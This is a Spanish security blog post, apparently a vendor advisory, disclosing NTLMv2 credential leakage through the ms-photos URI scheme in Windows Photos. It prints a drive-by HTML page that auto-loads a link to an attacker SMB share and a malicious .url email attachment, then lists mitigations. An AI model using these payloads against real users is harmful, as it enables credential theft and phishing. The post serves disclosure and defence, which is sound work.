Blog Layout

Filtración de Credenciales NTLMv2 usando el servicio viewer de MS-Photos

March 23, 2025
Un fondo blanco con algunas líneas.
Un fondo azul con las palabras "contratos inteligentes de piratería ética" escritas en él.

Filtración de Credenciales NTLMv2  usando el servicio viewer de MS-Photos



Resumen Ejecutivo



  • El investigador de seguridad de DeepSecurity, Camilo Galdos, ha identificado recientemente una vulnerabilidad de suplantación de identidad en la función de visualización (viewer)  de fotos de Microsoft  (photos.exe). Esta falla tiene el potencial de comprometer credenciales de usuarios de Windows.


  • La vulnerabilidad permite un ataque para divulgar hashes de autenticación de Windows, en el que la víctima es forzada a enviar sus credenciales de forma no intencional. Normalmente, estas credenciales se transmiten en forma de hashes NTLM a través de SMB para autenticación entes sistemas Windows, esta brecha permite al atacante capturarlas y posteriormente descifrarlas fuera de línea mediante técnicas de cracking.


  • Para explotar esta falla, el atacante solo necesita que la víctima descargue un archivo malicioso en su dispositivo. Al visualizarlo en el navegador Windows enviará automáticamente paquetes de protocolo SMB a un servidor controlado por el atacante, incluyendo las credenciales de la víctima sin requerir ninguna interacción adicional.


  • Dado que el esquema MS-Photos  implementado por Microsoft Photos (photos.exe)  es una característica nativa de todas las versiones de Windows, cualquier usuario con esta funcionalidad habilitada es potencialmente vulnerable al ataque.


  • Como parte de su análisis, DeepSecurity ha desarrollado una prueba de concepto (PoC), que incluye un archivo malicioso y un video demostrativo del ataque. Además, se presentan diversas estrategias de mitigación para minimizar el impacto de esta vulnerabilidad./

 

Resumen técnico


La seguridad en entornos Windows sigue enfrentándose a desafíos constantes debido a la persistente explotación de credenciales NTLM (protocolo de autenticación de redes basado en dominio de Windows). En esta investigación, analizamos una vulnerabilidad en el servicio viewer de MS-Photos (photos.exe), que permite la filtración de   hashes NTLMv2 de forma remota sin necesidad de interacción avanzada por parte del usuario.


Este artículo detalla cómo funciona la vulnerabilidad, los vectores de ataque asociados y su impacto sobre las organizaciones. Además, se incluyen recomendaciones de mitigación para minimizar los riesgos asociados.


¿Cómo funciona la vulnerabilidad?


La aplicación Microsoft Photos (photos.exe) implementa el esquema de localización de recursos (URI) bajo la denominación de MS-Photos [1], diseñada para facilitar la apertura de imágenes (viewer) mediante enlaces. Por ejemplo, para que un usuario visualice el archivo de nombre “imagen.jpg” a través de Microsoft Photos se le enviaría la siguiente URI:


ms-photos:viewer?fileName=c:\users\userName\Pictures\image.jpg



Sin embargo, este mecanismo puede ser abusado para provocar conexiones SMB (protocolo de Microsoft para uso compartido de archivos)
[2] a servidores remotos, lo que permite extraer los hashes NTLMv2 [3] usando la autenticación NTLM y enviarlos al atacante.



Un diagrama que muestra los pasos de un proyecto en español.

Imagen 1: Proceso de autenticación vía NTLM

El atacante debe enviar a la víctima un enlace hacia un recurso remoto en vez de un archivo local usando el esquema MS-photos (photos.exe). El recurso compartido remoto invocará el protocolo SMB, seguidamente el sistema de la víctima intentará autenticarse automáticamente y expondrá las credenciales NTLMv2 que intercambia como parte del proceso de autenticación NTLM.


Cómo se explota esta vulnerabilidad

POC #1:
Ataque a través de una Página Web (Drive-By Attack)


Un atacante puede alojar una página web maliciosa con JavaScript que genera una solicitud a un recurso SMB remoto mediante el servicio viewer de MS-Photos (photos.exe). Cuando la víctima accede a la página, el navegador muestra un mensaje solicitando confirmación para abrir la imagen. Si la víctima acepta, su máquina intentará autenticarse con el recurso SMB externo, filtrando su hash NTLMv2.


A continuación, se muestra el código del archivo “index.html” que un atacante utilizará para publicar un sitio web con un enlace malicioso que use el esquema MS-Photos:


<!DOCTYPE html>

<html lang="en">

<head>

  <meta charset="UTF-8">

  <title>Open ms-photos URI</title>

</head>

<body>

  <a id="link" href="ms-photos:photo?fileName=\\attacker\share\image.png"></a>

  <script>

    function navigateToLink() {

      var link = document.getElementById('link');

      if (link) {

        var url = link.getAttribute('href');

        window.location.href = url;

      }

    }

    window.onload = navigateToLink;

  </script>

</body>

</html>



El atacante debe desplegar el servidor web con el archivo “index.html” indicado.


Un diagrama que muestra los pasos de un proyecto en español.
Un diagrama que muestra los pasos de un proyecto en español.

Imagen 2: Despliegue del servidor web malicioso


Además, el atacante debe implementar un proceso que solicite la autenticación NTLM a la víctima, cuando ésta acceda a la URI maliciosa con el esquema
ms-photos y ejecute el el servicio viewer de Microsoft Photos (photos.exe).

Un diagrama que muestra los pasos de un proyecto en español.
Un diagrama que muestra los pasos de un proyecto en español.

Imagen 3: Proceso de autenticación NTLM en el servidor web malicioso


Luego, el atacante debe enviar el enlace hacia el servidor web malicioso publicado a la víctima. Luego, la víctima debe acceder al servidor web y autorizar que se abra la URL maliciosa incluida en index.html con la aplicación
Microsoft Photos (photos.exe).

Un diagrama que muestra los pasos de un proyecto en español.

Imagen 4: Autorización de la víctima para abrir con otra aplicación la URL maliciosa


Seguidamente, el atacante recibe el hash con las credenciales NTLMv2 de la víctima, sin que la víctima reciba alguna notificación o indicio sobre la explotación de la vulnerabilidad.


Un diagrama que muestra los pasos de un proyecto en español.

Imagen 5: Hash con las credenciales NTLMv2 de la víctima

POC #2:

Ataque mediante un archivo .url enviado vía email

En este vector de ataque, un atacante envía un archivo de extensión .url que invoque al viewer   Microsoft Photos (photos.exe). Si la víctima lo abre, Microsoft Photos se ejecutará automáticamente y enviará el hash NTLMv2 a un servidor SMB remoto controlado por el atacante.


Un diagrama que muestra los pasos de un proyecto en español.

Imagen 6: Envío de email con un enlace malicioso usando el servicio de viewer ms-photo


El atacante debe desplegar un servidor con una imagen arbitraria que invoque el proceso de autenticación NTLM, la ruta del servidor debe registrarse en un archivo con extensión .url usando el esquema MS-Photo. Un ejemplo del contenido del archivo malicioso con extensión .url se muestra a continuación:



[InternetShortcut]

URL=ms-photos:photo?fileName=\\172.16.12.129\share\image.png



El atacante debe adjuntar el archivo .url dentro de un email y enviarlo a la víctima.


Un diagrama que muestra los pasos de un proyecto en español.

Imagen 7: Email con archivo adjunto malicioso

Un diagrama que muestra los pasos de un proyecto en español.

Imagen 8: Archivo adjunto descargado por la víctima

Un diagrama que muestra los pasos de un proyecto en español.

Imagen 9: Contenido del archivo malicioso


El atacante debe esperar a que la víctima abra el correo y autorice la apertura del archivo .url con Microsoft Photos (ms-photos), inmediatamente el atacante recibirá las credenciales NTLMv2 de la víctima en el servidor desplegado previamente.

Un diagrama que muestra los pasos de un proyecto en español.

Imagen 10: Hash con las credenciales NTLMv2 de la víctima

Amenaza avanzada persistente (APT)

La vulnerabilidad descrita es especialmente atractiva para los atacantes y su explotación debería catalogarse como parte de una amenaza avanzada persistente (APT) para la cualquier organización, debido a:


  • Es sigilosa, la vulnerabilidad aprovecha funciones legítimas del sistema operativo, dificultando su detección.
  • No requiere exploits tradicionales, dado que no requiere la descarga ni ejecución de archivos maliciosos.
  • Utilizable en campañas de phishing, la URI maliciosa con el esquema MS-Photo puede ocultarse en una web legítima o como un archivo adjunto inofensivo.
  • Exposición de credenciales, los atacantes pueden capturar los hashes NTLMv2 sin que la víctima sospeche.
  • Puede combinarse con otras técnicas para lograr movimiento lateral y escalación de privilegios.


Recomendaciones


Para reducir el riesgo de este tipo de ataques, se recomienda:


  1. Restringir el uso de NTLM en la red: Configurar políticas de grupo (GPO) para deshabilitar NTLM cuando sea posible.
  2. Habilitar firma y cifrado en SMB: Dificulta la reutilización de hashes NTLM en ataques Pass-The-Hash.
  3. Monitorear accesos a recursos SMB externos: Configurar alertas para detectar autenticaciones inusuales.
  4. Capacitación de usuarios: Educar sobre los riesgos de hacer clic en enlaces desconocidos o abrir archivos adjuntos sospechosos.
  5. Evaluar la capacidad de detección y respuesta: Se recomienda realizar pruebas periódicas, como ejercicios de Red Team, donde puedas incluir este escenario y medir la capacidad del equipo de ciberseguridad para detectar y responder a filtraciones de credenciales.


Conclusión


El abuso del servicio de visualización con Microsoft Photos (photos.exe) representa un riesgo significativo de filtración de credenciales NTLMv2. La explotación de esta funcionalidad no requiere privilegios elevados ni exploits complejos, lo que lo convierte en un método atractivo para atacantes.


La detección y mitigación de este tipo de amenazas requieren un enfoque proactivo mediante la implementación de controles de seguridad adecuados y la concienciación de los usuarios. Proteger los entornos Windows contra estas técnicas es fundamental para evitar accesos no autorizados y la propagación de amenazas dentro de la infraestructura empresarial.



Puedes contactarnos para saber cómo podemos ayudarte a mejorar la postura de ciberseguridad de tu organización probando este y otros escenarios de ataque avanzados. 



Referencias

Un fondo azul con dos manos y las palabras
4 de septiembre de 2023
¿Por qué se siguen reportando incidentes en los Smart Contracts? Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza, aca les mencionamos las principales.
Una langosta verde en una rama, y el mensaje de pruebas de penetración vs bug bounty
8 de agosto de 2023
Los programas de bug bounty (recompensas por errores) y penetration testing (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.
Un mapa azul de América del Sur tiene un fondo azul oscuro.
por DeepSecurity 24 de junio de 2020
SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.
Un virus azul sobre fondo negro con las palabras reporte de ciberinteligencia
por DeepSecurity 1 de junio de 2020
Durante nuestras investigaciones de ciberinteligencia encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Encontramos que algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios.
Una estatua de un oso está comiendo una hoja sobre un fondo negro.
por DeepSecurity 21 de mayo de 2020
El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.
Una mano sostiene una pieza de ajedrez sobre un fondo azul.
por DeepSecurity 14 de abril de 2020
BlueKeep (CVE-2019-0708) es una vulnerabilidad de ejecución remota de código, no autenticada, en Remote Desktop Services (Servicio de RDP). La vulnerabilidad solo requiere que el puerto de RDP esté abierto y un atacante podría conectarse sin necesidad de tener usuario o contraseña.
Un diagrama de un líder de grupo con servicios técnicos y servicios monetarios.
por DeepSecurity 12 de abril de 2020
La empresa rumana de Ciberseguridad @Bitdefender público un nuevo caso de estudio “An APT Blueprint: Gaining New Visibility into Financial Threats“ en donde plasma la línea de tiempo y el modus operandi de la banda APT (Advanced Persistent Threat) Carbanak
El logotipo de la palabra valla es azul y negro sobre un fondo blanco.
por DeepSecurity 11 de marzo de 2020
Durante un servicio de pentest web, el equipo de research de DeepSecurity se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, y donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS)
Un diagrama que muestra cómo el firewall bloquea una solicitud directa.
por DeepSecurity 23 de octubre de 2018
Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com.
Más entradas
Share by: